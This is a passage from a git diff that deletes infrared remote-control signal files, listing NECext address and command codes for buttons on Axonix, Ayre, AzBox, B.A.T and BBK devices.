-protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: 4/GHI -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: 5/JKL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 45 00 00 00 -# -name: 6/MNO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 46 00 00 00 -# -name: 7/PQRS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 8/TUV -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 48 00 00 00 -# -name: 9/WXYZ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 49 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4D 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 54 00 00 00 -# -name: BACK/EXIT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 57 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 58 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 59 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5B 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5C 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5D 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 60 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 61 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 62 00 00 00 -# -name: PHOTOS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir deleted file mode 100644 index 57297465f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir +++ /dev/null @@ -1,470 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 08 00 00 00 -# -name: ARROW_LEFT_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 08 00 00 00 -# -name: DEL -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 0A 00 00 00 -# -name: DEL_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 0A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 0D 00 00 00 -# -name: OK_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 0D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 1E 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 1E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 26 00 00 00 -# -name: TV_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 26 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 29 00 00 00 -# -name: REC_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 29 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 2D 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 2D 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 3D 00 00 00 -# -name: EPG_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 3D 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 88 00 00 00 -# -name: ?_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 88 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 8C 00 00 00 -# -name: B_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 8C 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 99 00 00 00 -# -name: C_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 99 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 9E 00 00 00 -# -name: CHANNEL_+_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 9E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 9F 00 00 00 -# -name: CHANNEL_-_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 9F 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: A8 00 00 00 -# -name: UP_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: A8 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 11 14 00 00 -command: A9 00 00 00 -# -name: DOWN_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: A9 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 11 14 00 00 -command: AA 00 00 00 -# -name: LEFT_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: AA 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 11 14 00 00 -command: AB 00 00 00 -# -name: RIGHT_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: AB 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: B7 00 00 00 -# -name: PIP_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: B7 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D0 00 00 00 -# -name: A_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D0 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D1 00 00 00 -# -name: P_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D1 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D2 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D2 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D3 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D3 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D4 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D4 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D5 00 00 00 -# -name: REW_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D5 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D6 00 00 00 -# -name: FF_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D6 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 11 14 00 00 -command: DB 00 00 00 -# -name: SKIP_<<_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: DB 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 11 14 00 00 -command: DC 00 00 00 -# -name: SKIP_>>_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: DC 00 00 00 -# -name: STAR -type: parsed -protocol: NECext -address: 11 14 00 00 -command: E1 00 00 00 -# -name: STAR_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: E1 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F1 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F1 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F2 00 00 00 -# -name: 1B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F2 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F3 00 00 00 -# -name: 2B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F3 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F4 00 00 00 -# -name: 3B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F4 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F5 00 00 00 -# -name: 4B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F5 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F6 00 00 00 -# -name: 5B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F6 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F7 00 00 00 -# -name: 6B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F7 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F8 00 00 00 -# -name: 7B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F8 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F9 00 00 00 -# -name: 8B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F9 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: FA 00 00 00 -# -name: 9_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: FA 00 00 00 -# -name: C/N -type: parsed -protocol: NECext -address: 11 14 00 00 -command: FC 00 00 00 -# -name: C/NB -type: parsed -protocol: NECext -address: 11 14 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir deleted file mode 100644 index e76da3932..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: DISPLAY_DIMMER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: INPUT_SCROLL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: INPUT_SCROLL_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir deleted file mode 100644 index 4a25da317..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 01 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 02 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 03 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 05 00 00 00 -# -name: TV/Sat -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 07 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0B 00 00 00 -# -name: TV/R -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 11 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 12 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 13 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 18 00 00 00 -# -name: ChEdit -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 1B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 1D 00 00 00 -# -name: MultiCh -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 1E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 1F 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 40 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 42 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 43 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 44 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 45 00 00 00 -# -name: PS -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 47 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 48 00 00 00 -# -name: Sig -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 49 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 55 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 56 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 58 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 59 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir deleted file mode 100644 index c467baadc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: POWER/DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir deleted file mode 100644 index eec7db004..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: rep -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 16 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4F 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 50 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 51 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 52 00 00 00 -# -name: esp -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: fb -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 54 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 56 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 57 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 58 00 00 00 -# -name: audio/dir -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 59 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5A 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir deleted file mode 100644 index 1ca35c8f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 01 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 03 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 07 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 11 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 12 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 13 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 15 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 17 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 41 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 42 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 43 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 46 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 47 00 00 00 -# -name: KEY_FILE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 48 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4C 00 00 00 -# -name: KEY_SUSPEND -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4E 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 52 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 53 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 54 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 55 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 56 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 57 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 58 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 59 00 00 00 -# -name: KEY_CAPSLOCK -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5A 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir deleted file mode 100644 index a9f5bf84b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 00 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 02 00 